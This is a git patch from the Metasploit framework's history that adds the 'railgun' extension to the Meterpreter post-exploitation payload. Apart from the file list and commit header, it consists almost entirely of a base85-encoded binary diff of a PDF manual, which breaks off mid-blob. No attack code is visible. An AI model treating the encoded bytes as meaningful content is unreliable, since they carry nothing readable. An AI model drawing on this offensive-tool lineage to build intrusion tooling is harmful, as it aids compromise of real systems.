From 5d9a6622de9722da24a69add92a9ace99253a34c Mon Sep 17 00:00:00 2001 From: HD Moore Date: Wed, 7 Jul 2010 16:29:03 +0000 Subject: [PATCH] Merge railgun, tweak configurations git-svn-id: file:///home/svn/framework3/trunk@9709 4d416f70-5f16-0410-b530-b9f4589650da --- .../extensions/railgun/railgun_manual.pdf | Bin 0 -> 77383 bytes .../extensions/railgun/server/railgun.c | 290 ++++++++++++++ .../extensions/railgun/server/railgun.h | 70 ++++ .../source/extensions/sniffer/sniffer.h | 1 + .../ext_server_incognito.vcproj | 146 +++---- .../ext_server_railgun.vcproj | 371 ++++++++++++++++++ .../meterpreter/workspace/meterpreter.sln | 18 +- .../workspace/metsrv/metsrv.vcproj | 222 +++++------ 8 files changed, 931 insertions(+), 187 deletions(-) create mode 100755 external/source/meterpreter/source/extensions/railgun/railgun_manual.pdf create mode 100755 external/source/meterpreter/source/extensions/railgun/server/railgun.c create mode 100755 external/source/meterpreter/source/extensions/railgun/server/railgun.h create mode 100755 external/source/meterpreter/workspace/ext_server_railgun/ext_server_railgun.vcproj diff --git a/external/source/meterpreter/source/extensions/railgun/railgun_manual.pdf b/external/source/meterpreter/source/extensions/railgun/railgun_manual.pdf new file mode 100755 index 0000000000000000000000000000000000000000..63b5ce2c5da359ff7645ef61c54dc6c25e173fde GIT binary patch literal 77383 zcma%iQ*maWQowWDv74 zbTJh%HMTb~<>!ZSc5yN_w1x4=nbLWUM;k#-17?^o@&pd%h;+QW!0iTj{@e~P)rd+R zl{}#2e@cf^2muB~Z+L2QOZw(t;^Wh0V|k1V)kRG>RFZXdb;Z+HpE=(R&$KAbihO9N zxDwbvZl2lc6Xy}Q2vI8+cm*!K7RdJP>~lV+5lAjWGi&?4jI%I~5$pQUneMh2oUBe* z{QFD?pMUY3pg6{{c~+=hZp8Y`3_I+an0ZcqzO_iTON-F-wv3K>O2mEba67RS-qGABZAPJ?qvDB8Xe^)$ zNbO;=mb5bUss<=^Jp)j2DWz+HUY5#E$$c_?4{;H#CSCL(gQ9f|DxqhC-qs3;5QOYm z>Mv?h13k(e6cN9+$>__KK(uxxq|q|YO~3yG0a8?wszM{@RT)|9Y9K%<+pFBhw$nc2 z{$#(Er*GF!AaoXZsh$-YTuB(m9U8_NJ1O7YHqmj1x!*3hs0D5*oY$AUAo3o#G3uHer^)ERhxihf@0hguu6^RtpoL<8?;J7l|6X>7-HqPUYoADxGk+MX0oB%OB|Q zXPVBkWpS3+JkA1{@N#6gBt9*c?c)cAL8CGZ`h(uI=Ba0JWRY{FQOru3l-^9-QlgT{ zFkjQ%*+6xy%p<8PojI3_yW9XFsjebDD)oaOOo+=?s+M+inj98m!C)mU)qZHp7Sc{I zZDZ}q)g2Rf-6# zQUx(jEf>gmj&PM5O>?ET$nzyTm{@+b({j1W1SmWl5X34X=pjkco4gHF*L%~nx2vq4 zX&|^_2f+t?)$l+{r$#N|%p`2V+9Tm({(6+vM}1+`;5P}#WS~or{4Vf2e$}HYxic6& z3mBzS5_#XUafRq}xA4pMD5xIiHP`88{qU4g+Dw%<+og{{ej>Fi==5V|zdiXk(!rwI zI6X(00?U50E8C8C>9ry{wNPI_!%!hVl{_@W@VjpVg)A=rYU$16)~<9;73Ko+7Stkh zjha-s@hNRnL}Jr3IFe@ElD=bMre;t((hj|Yo+GF1qde!6TbJ>!G+e(>tqO((_ugqT ztC}G{{O(Jt6hMqghIU&vWTpb&_{AYZY?)iJKKXdNT6_CT#WS78HB>UdeRKhP=RW!6 z80dMjniASCvus5TPb3KfzLOo9H|#M-%RqZ0Yf8G(IN+-I&LMSuMZt~PHb~yJP&?o@L5?SSag7RG`|6ea z^4F^jJ@7GW=Oi9sop&br2u z-rYA$pSaq!*hLe;c$+j_a{VXVv@YINrv6gCeqBo+I0qkiUpFo-TJE@X65bH$E#YACJ$k`^zwfoszsEK+ymYaE!7itn8C-(w|G?lvx3_J8@Ed!quF`TRTQ7K%&< zbc3~8DNg>0IE^)igb$LWZ;?A^(r>`{SLD*WJ$wF(3ztE7Pk+chN~Zn>>FzL^3uhYq z>7Qrhq!90j1G+S66MwDp-60La`b+&9_~*n68AP!O$+Z+*XEs15ui5H6^96j<>S=_g zjU02dP@_O2ExF_y2D^Trm{a}|VPcE~HL14RG7*-BW?&+@P7f|j^oXvjJBD%?9o^s- zVcBwqvM_nSB#InSnSKM)roTU=}<$d=_*bLK*Le06x`gq zkrvLgkz&cTA&=%9n}TsLEzQt=hs*X4m8aZl8|M{!-6MID`x@_imaOSK8D0|zDGZ`U zPjW7GvOw*|`7(PZ#nO1}BYsTk;iq+2i3l@sWrB^SX1Ixg=}<=YN?GDNQxb&a)H)$W znX|V27{D=&#l{lr2|}|jhZiqn8F||1thJPD`-{)0oNy4oeq!%h6X%OZ@=pp3WDTvp zYrN)~>QZCTv9)@#Uy?f6*}iYMq4Y!p$0*I|$7w-1LZ_an=UBJbuj$zKHA&8c0O(yiz0F(4^a1MdEVAd} zim`v!#H9V^EJa~qf<0s3{CRtg)Vmb)+zflU?GJ;-9dvZojAl>LA$~)3M#>W=8$m;* zw$zQt2BZ_VcK&evB7e!n%0Mgg;`R{6%SSQ_^>VsRl3GoY16`LJM;q;X%Z_rHxy07b zy9gLgA}yjtBw{Jxcn-mTP}4(1rhapf!YM#`RAmJCHZhGdapV`E*VGt;M?m;l6Jd`Y zJuvamHi5Y52Ku+Gtq)J&+Cuo^ie&?j{DT$J>CR07Wg#1vUWNLXLYXWj$C!cc`*xx! zI0boqPWhxw-Vg>8XfKMf-*Fam|I}NnOC6PsK_{>`E5!`mQR;o9$dspW7z5pi{`DMN zAFmbGnKrD`&(e>YvRG09*ULoxalJiu)GyjmeZ!5Db?ev9xSl5%&XayxtjAlwGNr7C zBPIN2^QzP@RX}pO^X!B~IclLd8(IEWq7KWUS+XVYfM_O6dtpd!|(W1FTkh} zNrHs^<;PF4UA|!z)^B7M=&blRLWh%hBCX8+#i@|YAdQUV{0j1UUJjaN-*fHe0vd_9 zzeC(6+&~57Cr`6yFqE$osFkfFql^(`?!*TJ%VodW3`|t8^kn*@(r)v z=J2+&)CWB?mf-4Z#eI)sX4hqP%@?G+hcm;~2_gOZb67{xz|lv(ty!`gF&VLO(bMGW zuK)Uu{b1+V$wK|Gb^=7KcNuetAzV=<~X;Av5DO6!U3@qay4nFXc2PS4TerYoqvQPV~E&E1VPQ zY5Vp_&gQp64X7i0{WWnNKueDp30vhHG_L89BP%j0*Gx>@M#K@`HzZ>B`ZSNKrTnG` z4Z0pW-e8l}lm-nK z^rDA-304)@RFBhNsZ$^7Gue7oa>vFaz1U(t9hWWk(h4Rw^vnHtZCryhZ$&-Zv1NO~~(j1bE5k z>yHw6dEz(|lxkC{$Pm<&SWhp%Ntiw-NSkbnT!~vkoUE&?aIRYvpQDw;+xq2;X_h*d zr-^e_SJ9{1Jq$RPzfCvbxY{}^GSfvR9ed|g)jmw+%U|we6~MuJ3HDyRWJ!Vo%>_{H0W z(zGv5jg`5PTT^1V)7Oun7|ESBa;|YvM-%=b^_tQxZim z8XcEuK^#IKUBZ6IF8D$#he~ov{zz~v8Gy15NSo)xbn1@;`)Q5AXr>_yMm~5<(53 z`c8S}_cH1!VUW@YSj=;XIh2$-h>JiEU&XLCZ`RwX|wY%wkJxTlm?v-MgNs%H~bsc71=oA z>=?;XgVC!Y+ZC`f$1owgCsuS`OJ4FUGVPo}A0Ipl_oC6KC-j`^`etr&mR=Q1nb-r@ zMt7~7K=cJ(0d7#Z{nsKwF$$R_a4pCF*aDMH=!lK>I<_ zOG0h!uAxF200RuIV5I3s-_%)dpyUo5WoHKki&pclx#&bzpeCgbCsvj4gAf&_U^>s!u>fWFnbs7 zj`URaD~f@>6*=8C1o+bD{Nltq}Y z^(4kskKSDZM~TI48TwLkh=wLZyd^75A{ku8WtjRB3TM?5YlDG6!q((roZjBIH)tqQ zFN+zL1jN$Ck!;~aX)bUz>%e{fyEK(GH%X1&KP3Wxd232#$df;VoH!)H?v?j}p`a@8 zsW2J)g~8UwCPP?mY+6U>5>zqM0GAau7giX1e7u-u0oL-Vigf%#0QX}+OyCl$K8@> z$veD{Dd8EEs4@?@NuB;6`Ul4^N&iw{&6*I=yh548g-tLW-Gk;_IIN80Z4b(334~l|}Yt=$Ost z+^dHu?Dj^+o<%OT1%ztv$?C8=nOr>5x#FGcen_4>$1n`z&p3YKjyI=nJ6^Uq+OT^W zzo?2JvNcN}21nn`hc_Bme<5j(b-l4(v`5XezxxtdH_j8H3u9zANigpy4*)6*k!4n=ZU%dL4*r@0JyVZMo1rtUdf`dxp$@u#bo;}m;*E}X`7eD!#-dqBvX9K8Cc(g6a_sy z`BKM<2|O;04?I4W!P{ysKR(}B0_x;q$@TULDpksZG92)u76*1Vf@dr(=J8hzuxPqO z44I`%DFkDLqID55_!^S*%3$V>u7#o)R#Y&Atnyk*L9Yy}E3T_)|Y z1=6idIebE$5O}D16E)}#!VS+;2<|}`)R4qrahQ-yN=4!inF}UtlN%CUsErUI{#r8n zk_H2~MRyEgNr=}Qq7->71kU}5A;K3n3)wn_nAA+9-j|qC zHdmH|qBdgCck4N@;6Gw2N5U@a>MpZ>YU`>hl=x08?t^&XMhU}3a9-hsJ^9gnhH17T zW_WRARQCBCV5+LU-PUPe;p zz_@U?zO08iqxIYJF*{#=wFkcaA8+Df=nm0{8TyTV9PBn4RJ8)WJN5UCM@_KFwMQrO zP7ic#>mu$(+O{qf1Bj;zuYd3v;FV!oS-lTvwfPfi{+*6+oy(#~T^t6E^&A&M0-P~7 zZbLq%czRl~Jrfh!UL;ivTrRho;2l4SPX(h#dK=vfVS;hbL!p}iQpiH?ZN21%o{5*( zx>tGQa1H_v2eSA7eJQs|0|hzWz;a3Kx4!fG-G?u8xju_+pP|@BnlkFR|KhxB*>Qa4 z5BHm%@j_KQ;?V(pC#pXyBrNUXeQh=PUn`G{5kd{YQ8Et+#nKaV?Xy3T46=3~?fNDpz@=vTFe?wIz3-m{u(asYjeK!&9$UjP$bU!X;-&dD_2K>l ztEa!~!`JU8j*@S=T~RD&UZ%8vp)>-Vqhx0UtDTwb;ptoNm=Im_2^@TmXiOXQ~tci4oKsXYpq3ORS=$6Rq81Gt*Em3S!n=&Bv}@xGsg(|k7NY$HS$Wn{O-oVg912r zU1t3)vRjZrB!^EEBe|C${u<5kg0ANF4|}H|h3J~5(C_o^(aM3MdO^SRhKTVMADHZp zWTB2&E?V0o^_~qAbG1_U1fi(Il7s8gKHT$H%}th zqgZ$N@c1JW%0pk=BZ6Z23B*3giU!Mds^nUgo{XzG_#=QN8$la0ow2*>%Ri8c+t>1@-Ehc&qi*R0-$)O_03UV*CCKxb7 zpq7Zie2nX09X`D7U}xrm0Ol_gn%wIKGIc`su7NZAWB za9(tuf&FMj@K=+{iW}pR_Jiz>cYtxE=bX>o7y@eBN7LQVMrZV!E zq1(D#d5Rx-P7c8bmcbq-(|fB!yqT@6nVWTABXNG_6KxGqfjOV=9V0tU$P^RmjA{o4 zL~#p)o8uao|8hF+fS7IhydEX{jHd>SC2H|JS#ZyGamhUS15WC(1TI6m#WaPs@{Fq5 zE%+>1MtXiW@d^an?P&@Ho$gl6X{8ZC92)*CHX(9G0}nar-i-#+J$7mZ{SjtS1#>x# zjcg)N^+q_8vg+d4tv!U5&FG%_6wq^>n-}V%8tdKE+evJ_xOkTUJ9un9t!BmkzO`LQ zR1&yndUJ`zc!i?5P{O%wCNL9gTg2!jPOe&o_>oC6@lF*hkX>!$-u9A>U;9G0jS)Qk z#>S*Hm5!|2`J7)%(b{UEp>HMLUg6NrVgDk|S=mi17ZHLv42>|U!7_!LuGXIb9HHtY ze0tJ%5?Y(}B_9}6hhJGj6fE;7Nh7Il#LVaTl^j=&Q(c`=6c=}r8F|W95OOiBfq%%+ zSz4E?R0tE&UA^HErt40SvUvCLqtRhhTOAVgAgGg>h8b*!8S_P#9wN7vGpuQ2seACe zA>0P7i;WT+P$O+Zn0%Q4q%!QO!#Wt=C;Cv7tCvEUsx&rCp|pbZgP84z6Jn|7oQo0r zAB{FcIfyK^Qj>MynOME2P{=e%p> z9v(LagTI}_{NGnWuC5uBXpnQF`Uf1C8x)1-+?Aju*z~sKvHA(9&*7cxmR1}Og& z1(1Z0WDZh9kRy-sN9}jIG;>El;{@{*T@rcCLJ45&e_WsxLyQLriamY`e4uo-?uyLx z22k9E{LHHZg(s@)%&aMDlqbx7ei1!hZFnO!*};L-J9Ig^@$cx2WjA4huWbWi>!U z706r1LdhZVdoeNE4qb{KOaz_%c@uq#@|79jiM*D7(ADo_zCr;B#9WRYEe>`SA@qdu z2#h$dBCb`k?JVt!iqk?O+7i~TrU{!G$O33p^^!x$Qc7d(RNaKcN?^klw;?z%%E_T6 zeh0ub)rXkk28*>uff=t4wJs*gwRfO=-ZX4_n2BW;F5qOnSG>yC68_$e>%~MPs&j72 zFr8*72L5nujjAWSO_lOVCDE(j6$ql#J14`OB#lr{-1%UX;o?Lr*4Xpv9gdxH^9ycX z?S2(s)W}!TzN3o0gzuf{bnk}fJE=@s+>swBES7jaBBZ;AE?eGXx@|4?b9MM5u4*wpw@JVdn5uoLF}F|5Dq`K zD+^spg5kp$Yw@n2D#BOs0WGM4cLTco@^72UU@eJ1{&%2$h|l?~lmH*B<^)EQu{84C z{a2P(FcM~Q<2PjTE2luej^Y=|FWiOSp$*z!u*NJL%QzroBNYqfP2cg;%H3?QK-&jM z1F(vgt|)$~2B@qQKXp#1#^pR&MrV~(!**K8tKb432!i1Pt>x--u&}ZmOAdJ#AciDib_2NZ$vbuz3bI5Qp7vTX3rWNW^Ao%nl(3(?P!wq^EF z41WD)o0P%XI1*yX4F3GRc2Jemp81W=v}_yHWXh@)2tVqu#=PO5W;;EB_mv&D;h&kH zv#}!!laIj6MPL6;sSN@9L!+5ZY9Oos2u=x!DNC09L?;B9v0E-vef%K2J0s&1V-|%C zZ5_T$7=Q@PH?k{xZ`Ue)effz9B^I3XABmEGGa&zDN?2JK|6itrne{*F{mlPZ0RF!P z|3j^Bdo)ob`4D1WXfSFcBgr`G-RYa<+|S3bQmP8etz0E(Uu(T(hFblrU8FEWL~IzV`8Cs!K_mxRcSS zf>ZD8R^ftJ20qAcD$Q2~lF?RK*8&NbhF9J}uK7$6JLYaqRd+01DVUHCayv}D&OI?I z&44^yrxVL?IyNoMOjUz!x%aq58J@>D5y6+H_i99yrR{^sDm~aLNW@g*1)L(OUe`DR z!~rD<%$&>oeMo}Q)Uuj8O2sYr{2qbiJbr!)!uX4@fkH|=qw4GsEg>@2_d2^@=O?H^qhS+En-3SJBd_$cI$BiYJOJsj+Vn%U zMOt5T(g^cl*Gyqj$NbCY zLU@sOr7k}Y?Rpf3rj!!iKO)(!jw-SX?eUC>Ps0gos?zT zK8xbm$gQs5hwWUM?}bbJF<_a?)jB5{j$nd^Y8}Z=`?j`SK$)1BbHq6G)Gdz(v8G+D zo8Q&wEHUP@!O@0&N!1kT*?K*XU)d>HzS!biDLC5ihyO%*7&8`CMIH?13kK@dT;$5d zzJa!sRZpI!b+p1|Gvfj2*kkDybz-%a=Y=iAAZ)2^;#I3?&0@%kBbOwwVZU|?W+`RS4W1f1_eo7YQg#f+z-6PN$e*|Nv zbsbjF3mljsBLbH{+p-k4wxr)%iYRx8CJ$+7cVTVow>HP{9v?4H{F#{4lX9q zI7aS6cXFQF{Dhp>hGb1L0?#Rju=M;#P4X8xD~s?1itrno6y_G3w~z#nDa95kTpv+f zCIT^!B$5_mb*)B8i`6M?Z7WP9%L|ILSTNBLJf`yIj#MCiec4=v#;$=ryqNIrDuITz z1Iv@JU^{^D(}@EcQ)nR^ewXD^Pu4cs;}0gO!z^lVCxluz-7b&X)OQVqX>A>qmg8iR zDt@+=dW%MwHLccVqw+VRwc4(>ch#crz$TI7>JUAP$Q}jSGx@~eucgova9eLH3y*UEnxhw4MT#%GLO#xkoi0VLn@g(tKH>ty|brH zHMoENTIst&xPCdn^E||8zrp&^g6BsD$B-cCM}~U23Cx^5xc5 ziFb$#2eYEoAa3}RG*s!EVoC{n@o)v{oTr!pp%Z9a*^32Rtk{q&Q%o6WXmHsLG+MYr z6=zMJs~Rr5>xRs&5z-$*Tle|r+=m2-O;Dph?1}9mpN=+BbSuv}6+I6Rw+8mV&JZ#e zLe@$!S2{}mqQ_5^4s=%HRM~AREIW3{Ai}jp*5u`FbfMga5YbZ^e}(*G>8Y(tM`>9P zIcr;Pl*={NYMyDF>)+0~j{D_lkL8%G`9(g2) zyNwP(YBn3(sg{IA?9Ga?nYXyiJ6@!L_@}GqFRLK0{e@3W&oZqK&F|JsgRK(yqEBm< zK#r2FxMo9f8Nlb7zcEem;eUkvf5Z7dVV{YMmHod9B+Q)u8TPsUS79Fqz8;rD@h~w7 zUo{AOT`+qy-pJBsOJg|))KwtI@y*eRs<$WK4ZT4H5y}m6T`gzgJj8gbC z5c%V>HW+?_b-C=F$FrfS$(%4HDM2Ab=gW7n&O1&?g9$97lsu0P)F$+<7uVgF&3qLS#6# zXw}iz7(UHO|Lh=+e?_<{4uli@?Y7syWT%9 zP5A93d|Hb#SCc1+0-_5c??AssTtQ`i+mM5gyAU2-98FNKM?EbnI!>9z{DK@Hb{$}q zmtG^{;blTZW6P56{gzY}+3fk%ZxPkbVm1cP$x2FO;#|D$tXJu!AsB944E?HQ_ zR+ww(DBCU1YVzH{B$n!DN9%d_gW+!ot4)bQlL2}(@T1qfP9@bgJ*5(}N|1<#iHj5a z+OQ6}NJNo~;1Grcrx!{v8}5o?I~b*4ert3NU`jZ~Eao6LnvKmTaysTjqah@+166bNqd%z#>biU&c-TP zW$hqK-730{MuIlM{IH`Rk7H-QTFA+@HMn06ACCeh+hG{b)dF!yY&WvQ&3=mx;!;y& z)E(^3JKf;L2zo|~0daFNfy_RxmvewLtE;XUbY5AiKi;nBs(wCCM&zdYH8a~Q>^7w# zs5hxoBhb@9ZVOeGq}M84N*bq}ib!CCD)YSMOx7UTnhgU=4|jMbWjMcA%^>viy_7vT z>%S3#uh9oT`Hs%tagM`2xArDaTA|-h4MKl@J@$)mhb`4(Va{JZQ`qA5CzV>=Lw9vk>)n6zdM zjz8f*966tEovxW8;Om^p(7ZZe_F$05X5TnSj9C>PK%O&}eo{Q4Eg-t?WLSO%2mbA| zdcUX1vFF`018GcS`VX=CbEcoWITxlhe6iEaudnZEY8}mEv0ctzEx10Aq4!}Idj{w4 zi{$oqE9CsZMNN^n+6HFw8>hR44RjknMSsX)0SPOpu!F-1a)8KN+|3Sb?PMc6laKcQ z9pT?2K&g^pY+bow7NFk-GP~tK$+7%b%~L7 z+=H209?9({uBCgOX{*TxRt$^*jtT;)2Q+ z!|4os(|ZT7eHyZMX!^~if=H4@yxB9@A`we~VlHW3-D}^ojkQCZ2Tr|9&g zqB{M4A+EU}t%)R;HLp{ikF;#;NHCO1S!0nuw&x1UX>xD&yAyt7N8m-mhuEbq#w-p$ zh9&w~sb@XrsBl=hE5Q-rgTQxF`Hm$rH>JkFqRAKX)M2LOR8Jp$0&%I69G2x&Lzve1 z1~t7;*JPdW_zSaCQ=G;8$uIA4UjH7#+MxV%6s>K*{0qe9$DFJ^eirgyE|3>#{tMI$ zAs9-s`V0~&Cj=24cUVsz@Ghoe{b0@uOCQptWC8F%)+y#|u+-@$u1Xkia_~4%9==K$ ztEYuwyg-G6gC*As34uyXYY#|Ach5utZmb@{FNr`fZdNZWw>S1OiHtKpdv%6E;(;G# zGL6l0C#c(j^x{|~9pnk8c6~`gM!HAK08v3WI(xIA_+w?4!oL#2%ixIHd(R-4UXJ$Q z{)BktCwfpTnxVD=^Mfa@P$Y9M7ZsDFlmK5K)0oF7NBZ;kuu;+!&O(<71E$tDQG?}2 zVXl?01FTG&YJlv=+`~~JmSba&*2EP}MCD`wtpW6qr?wI=1> zX~qbsIr6zC{|OH|)JfH&bMeX5cucF0qZS;0sA9dqHBYXU`*S?^MQgbCzh{8{Tnz9Y zz;1tG(I0#qgTF?WU&U*)9ei1-zzfBi!18fs@Ur+?tFW7MF`?2E0D@PGvf65UN7}sU zHZuLjERp%&K35%MndQOQ9SHH;8=FtT>Uw1};%3z72mS4(PD9fN6p_l+xe*5g^ogh) zU_M-Zsz31K^j>_-j#|OW4j2Xl=Q|mByNN0q)8=s5Mi`h^mB!NMB%WkEuZ#?`%p8DB zwS?l4TjQb2;v=Lk&8>Yyp`yK)gcWu}?9QTO>NGvSg5}CrX!0UkDT+`1dAYi zbjb_1G|aC=P+W)I4g_E#8WCf0bRGj4PkodRAznXYenQZbiJItm_SA zi4*k0vf!I8bWL&x23Jm85Ck&Wdz#auGV(*7`l?VWVU!XJYpD4h&#J8Z!w!r3ngFX^uK-6mWepQwA)m!D4&mcmv zBwXTOdb2x4(&z#H)#v!|s(9k^#_%mTL9nIM?cnrq-~K5)E|)Ph_DC`}gc*CnlL-4) z)!fLrAo%roK5X5MrJi<22+{dBXjRK;8xP(oB3aSJYVx;fMNex}6lrd?YE96OBJnQ5 z=c>-rGt_)}+-YMn?M3|Hc8N}2iIdCow0|vLT6Y`%jhTj6QUt#~dbp%bQ-K%DGI37> z|5LOu-Ti0&G-SqDuq8P@`DNO3jfnYQxk7tAb+4=isg&yCWuKL-N>5*3vuvrTG<=At zJO$*ME+E;wf(_BhP)lV&Gf;7cLQ~0e+FeYtrjo)e(%P+JE_Ebc)!V7WNJXHdmv>Q= zPHwL<8S7AZY<0T3ZX|P!lgX8S3 zC)>hgn{%m>!W8%1`jw|{9pbjXl$M8HT_UUoxIVU;x^I2(*s`%~Dfb=dCAC%LcH<|F zOgHe)eX)M4V}Wg~sD(!Um|G4c5etPi1 z8@dXAD>Q#+;jdQ+S$;lxcG{@i>!iovwc!Qdf~GyL0wXxqZFM$Wof+iX|YzPsjVD+?2}J%TCb7U@YmP)1aIvPi=b3a|!?JWK(k4#dTMqQ6uKn7mjAUxUO9n zBfuy>Ssyo16`BSfh8$-0!zQ4wX0IEGwg{?O6wb-G#Mb(Le$la!I-J}zCaGITORhKg z6asD51pw#F(;>kFuUa%ht(1ff$!u3>VASKdUwBz{p-!&Fy}a4~VTHLyXU58k$u6ckh+menk%3*%;`nw7pXTFZpL5e}(3r{Zl7kx%&f3k7`9xJ^j>wZHq zVbku4x};ArQg51cJ%9)I<~07*m(n+1I^FtG49?^C_*k__@n7f1(dVWswFeiU+s)+X zyYmab*2FR{L6{0n#P(5&~i^0L>QCx7AljzJVtl zt!3B$QbtUNqD(s7s~(sHi$tyF&km8&C^bXER~zzv266~?9z@#&^1`XxQ5<@Lp{F|9 z3_9_8I0p{jpT%O~huRPJhDst1fnYBW<6NjNKYc#I1M>OEEvQyhFZGWSW%gjPys`t? zA{8vE57(l`!~&n#=7j!8WL$VEpQ>5?Ev}~S$}58w_))04vdwBGAqn|y;A>?Pi0|ZF z;zW%4v`IJ^ac!MIudF=+KRSZ50sSP0l9xgxSgT2CVpRs>(qvY6*1%`0KZWrcmZlNf zbB;5!$%R9BGQ+S@WN}&7^25BcEu)=#)uhdd^JRv(aUIfe<~Ba+p_wib-mq$#fxltv z*EhUKWC{$C*i96av(wAsqPOJ72-WE6D7FDW!DKeUoRsm_pdOIVx<)^)c;$#RSL#>} zS3@x}^6FX0rh#>LYofKG1Z;INbiL`QPA#BU*Rb+qL8K=M3@*}ovI zLv0J$o06lq2z;c^4xaoRJ#<@;Ep4G0Vg0t1D)WlvGM76pBS1pgM%@{3WknW`Hg~JiItrGv~bQ=_3GpB5A`!ONnv%-=`(?Z2jF9gx6!bW@=iBV zlT9bZ0*=7?;XJ{>lw~O+Nli$$--i~~vR%=vPH09?9_}zIQ=#NUGX@r_TdxGAfiDDl z?(jD4$a;oIUMwPG@bj5rH?yb!ZUH*N8)z4BYeB~7=ystvrLPFQvSAri1%}p0eql{i z9+6JkyvBn$47m&Jcb3MJIpH28a9I+Q8&QJ!GRkf19$7&`Hza#TO36-;zQZ76*jni% zn%25l#4>1|Nh(+ch4&NXN>vHa0}nWmohFiH3EFxRnoNrCCPCCpV+F3yrtqVLce^Ue z66ds)TyS7Va}>l>ROboBzzeAy8u0u7oLd!KwE5>J8fxb$4aNP!N` z$@Vtrok)N9SHR`7o6WV|S;DC*WIRI;>2+VQNK&?D-qP5Fp-)t^L2Fs&cMkzH zfI^P}Hj~-0_}vx*#R @l)t28~m3>_pWvUP%N=ngNr+2xqe=(R`C)Xh{FmwD( z7-v|^Fyu2n-uS(Pvp{TFaj;O;uVhoXrw{!gPQ^){o1a3pAA{2T)|2k5BO7RTka!em zeV}e8wd3J8U3dB<3h+v|^d5hR8M!$aX3{`?9E)eRCD5JKj2xZBk;Nu0M?6f3)ahFd^hjsrR5+=So1dq`I)^S z?7JGiJY{9A%h~lD7>yp>(>SpWyb$WiGhs_X0V^HY7rY+^Fsi#gA#m%^$*yAS^Na*K zXyl#Az@^P-1H9iTKRVudF)^8i5y2;uyMdpUqn>w8AAP+pkL)M^{+?_l&nhl@IVBz8 z5>HnZwm8QLVG zHZ&VRX5x*6u%i!`9lm>Z8*l2nMK6!Y?*${FSL>lGjCW|}x^V6;5 zfa!&@B!G9)Prrs_NUR1Ww8E8gc}{o_aUKsB+|r&#;QL#G?b6dZ1Ia$yBN1RRWIlP( zvHDYB0aeO7cr86U8J!AfiukWtWy51||NIiIa#@O*u^5>=mLP=AFLU{*v}0fB7UyGN ztn~0;Lsog{*XddiOi5fyxH#jwA?^Ogk14end@C`M>y%$^%mB+e-f4U9x)0kpv+uty zTEjS`{fu)hujE@DpKdSgQu-JWl14FaV_<2OpnYRs5)_-Ug&gvMWr;3i+C1i{q# z=b1hB9(RK)4~RD5I0fnS%8mzER{8e3?`xZbNt8^1ADMX=;=Jt@(P{^e@q}|YU~Me4 zNy~5CMfdedAxl-F3GL&X)pRGP9TcV~kv&`ZWbu2(HNG~w0YliRUBjWu7jm8#;S7~A zEk}$RVf(9414TRyb+}cddOz}OVZW2z54Oth31MJav|Xl(Ags|K>%PwxEnguD0><&H zR--?&fmvZfxrc_09eJiz`^Wf$#QVh%jM>9Rhh`jD=ocan4A|slSjWyg9!1MU^aA0? z&%`_&Vc_4B%jyxuGJj+U&e1f7#a_g3WCb98aeAq+!Cd06$h9l-|1=AL4Cl@P&mn@7{sMyFrv=hccHYV#Ax?f* zKtZ^WIRg7XyuEc?RL}n}E+9y!gyhm8uq?a4(%mA`-K}(oG)haibax685=u9c(vpg# zga!CJyS~Fu{=WC#$Gv~-?wpC&yk^e4p7T7fGczk+WP0Y|jE5n{lFzHcDGB|}~jbfJMPmA7)jD=#t@>Te4z4$XrJtLO!`yl&t{kC;^ya#R} z+Ud9T?_6g~{ep`pxeek7+wKhA#b`@UzIA`cv0uS+c!jBb&w-6OX4z+X z%)2R8v)_3RFQo@Lnn{)9$_+RylAXc%b`_{5J)w<}><64}M#P5`{dx{Ucb}ED`Mw~7 z2uSi21Lr7wetWI5y4p45`;*1#aBZvaD(hHewZAvwC&~}zLfbXsrq}k8A^v+0I0W`} z?0C$&qP$-R@FCGh-EE)zZdz(mZpOU26u}v@A-n1|?|5-)Ka=GW9gm^U`!5~uooKGe z@sszy{>!r}@)`8k1|@#zpYPwG|GGg5`ajyBbYSo!j#{25^#sjNQtUP+f8>Ncw+kePK|f9VdQWyX-}R^ zSrrcN?X(f_T-QJ(stS`z_35Gc)#25KZ)?bKI^pA!B!!T9IkH>w%u2T`R9xz3Y`qBE zzN&pxE0;&BNxiEj*fdKw{7&Z^})uzu4vMS;q@}cd-vNMPb^DmcvVTV$&b={($h(h74o4keNh9Qa%`xdh_+Q{7)9g8Enpjw($wB~WD%&u}34Rf^_ z$xCi!u2@gO48i1D&PP`~Ym4jOlpa<+-AHle6CiudZfN&>{Lw*`%!sf@6Ngbox#yJ5 zN<}SG|D=F&F6nu{{b5U#8vnqF&+{Y#d_MMDFU@0P&yVl<%i(JjIw%d5QI%KKBsaSf z8)%7XP~j7bnKV^V*okDQ^4Ir0d-A^S3WLO3R>mq+fn+V0SFKqq;cYexU4CiK^CK&6 z4Q0JlelyR0%a3xB!=FDtoTj^d5uev~-R)_po}tp3#1YYyWNHk0JTa)RKNs=&*}}&O z&X0>}=o9la(~X6-mK0CG(RwV36X4z&i|0?vU)xl6o8PFHRD`>Xxti>>Y|!*~+OzCo zHF5MZ#=eXGre2<09pOPx&kkq>2HfXFBX+^YKhO$5N*a`FX6Qc&k%Er zb`A}DV5)cC|&D#G5*L=D@;i%~R>3opb8G7uwg7OQ3yJlD~qUQ*;5Tk!5bLFC9WBUsC{2`Zg0 z>FVgJ@494F^NVbIvjw#}F)AUu?i=*)b$_~9h1xIDuzodTGH9JpwiH9>7b7fTD5{1yjAj1%zAo6p4GKt&|1bFvTZR85QCIamYUkvmk#l)wfX7K*NFzR>mK^>Obx z6(K`tDx$9AQL0A1iQ}+Cf#;JGpIbYedYp5Y#9vH^rUee#2E0D*H1jTPWsWJmn0`mx z9KP=zwbODndO!T;#F?Cn_vHs{E6rGH6V!oRwb=29YAr_E84tf4|C;tSXdSsX`=Hj2 z9)B8b9Cl-MhMJixQf)JR+}UPq5`lzOfhXVW`MdS9sP}_}#pQdpz7oT)V@yM|4RA_a zQr`1x96VnaLl;>=A1Axyx zBJ!Y^GHFnk`V^rTwaHhup^x_shDSI!V`{e+>+L@ zQF>`*#8gyz4k;~h7__3aj6?)3^~pmk6#GsY-@F6v*Rw~K(Tcra-%un`(5DCxpZoJf zN{8v1kf?DEexyWuzWDw)b^pU@29snfNNQEemavM^&`gtzE5-H&OtANvjNm;h40%6c zjJFTND+d{3pmkKiq>U#Q@wFEu4;1kuvcq#Fe3~qo-k~WFYu2G?>EqH6mL(d!)ggHe 